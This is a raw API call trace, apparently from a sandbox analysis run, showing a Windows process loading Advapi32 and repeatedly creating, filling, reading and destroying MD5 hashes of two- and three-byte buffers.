	[0050.372] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.372] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.372] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.372] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.372] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.372] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.372] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.372] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.372] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.372] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.372] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.373] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.373] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.373] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.373] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.373] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.373] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.373] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.373] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.373] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.373] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.373] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.373] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.373] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.374] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.374] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.374] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.374] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.374] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.374] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.374] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.374] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.374] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.374] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.374] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.374] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.374] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.374] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.374] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.374] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.374] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.375] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.375] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.375] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.375] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.375] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.375] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.375] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.375] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.375] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.375] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.375] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.375] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.375] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.376] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.376] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.376] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.376] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.376] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.376] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.376] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.376] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.376] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.376] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.376] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.376] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.376] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.376] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.376] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.376] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.377] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.377] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.377] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.377] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.377] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.377] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.377] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.377] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.377] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.377] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.377] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.377] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.377] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.377] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.377] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.377] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.377] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.378] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.378] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.378] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.378] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.378] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.378] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.378] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.378] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.378] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.378] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.378] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.378] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.378] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.378] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.379] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.379] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.379] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.379] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.379] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.379] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.379] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.379] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.379] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.379] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.379] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.379] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.379] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.380] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.380] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.380] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.380] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.380] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.380] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.380] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.380] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.380] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.380] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.380] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.380] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.380] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.380] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.381] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.381] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.381] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.381] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.381] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.381] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.381] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.381] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.381] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.381] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.381] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.381] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.381] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.381] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.381] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.382] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.382] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.382] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.382] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.382] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.382] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.382] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.382] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.382] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.382] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.382] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.382] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.382] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.382] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.382] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.383] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.383] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.383] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.383] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.383] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.383] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.383] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.383] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.383] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.383] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.383] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.383] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0055.226] CryptDestroyHash (hHash=0x25e8f0) returned 1
	[0068.180] FreeLibrary (hLibModule=0x7fefddc0000) returned 1
	[0068.182] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0068.182] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0068.183] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0068.183] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0068.183] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0068.183] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0068.183] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0068.183] CryptAcquireContextA (in: phProv=0x1138e8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1138e8*=0x25d8d0) returned 1
	[0068.191] CryptCreateHash (in: hProv=0x25d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1138f0 | out: phHash=0x1138f0) returned 1
	[0068.192] CryptHashData (hHash=0x25e8f0, pbData=0x1139c0, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0068.192] CryptGetHashParam (in: hHash=0x25e8f0, dwParam=0x2, pbData=0x113910, pdwDataLen=0x1138e0, dwFlags=0x0 | out: pbData=0x113910, pdwDataLen=0x1138e0) returned 1
	[0068.192] CryptReleaseContext (hProv=0x25d8d0, dwFlags=0x0) returned 1
	[0068.192] CryptDestroyHash (hHash=0x25e8f0) returned 0
	[0068.192] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0068.192] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0068.192] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0068.192] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0068.192] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0068.192] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0068.193] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0068.193] CryptAcquireContextA (in: phProv=0x1138e8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1138e8*=0x25d8d0) returned 1
	[0068.194] CryptCreateHash (in: hProv=0x25d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1138f0 | out: phHash=0x1138f0) returned 1
	[0068.194] CryptHashData (hHash=0x25e960, pbData=0x1139c0, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0068.194] CryptGetHashParam (in: hHash=0x25e960, dwParam=0x2, pbData=0x113910, pdwDataLen=0x1138e0, dwFlags=0x0 | out: pbData=0x113910, pdwDataLen=0x1138e0) returned 1
	[0068.195] CryptReleaseContext (hProv=0x25d8d0, dwFlags=0x0) returned 1
	[0068.195] CryptDestroyHash (hHash=0x25e960) returned 0
	[0068.195] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0068.195] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0068.195] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0068.195] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0068.195] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0068.195] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0068.195] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0068.196] CryptAcquireContextA (in: phProv=0x1138e8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1138e8*=0x25d8d0) returned 1
	[0068.197] CryptCreateHash (in: hProv=0x25d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1138f0 | out: phHash=0x1138f0) returned 1
	[0068.197] CryptHashData (hHash=0x25e9d0, pbData=0x1139c0, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0068.198] CryptGetHashParam (in: hHash=0x25e9d0, dwParam=0x2, pbData=0x113910, pdwDataLen=0x1138e0, dwFlags=0x0 | out: pbData=0x113910, pdwDataLen=0x1138e0) returned 1
	[0068.198] CryptReleaseContext (hProv=0x25d8d0, dwFlags=0x0) returned 1
	[0068.198] CryptDestroyHash (hHash=0x25e9d0) returned 0
	[0068.198] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
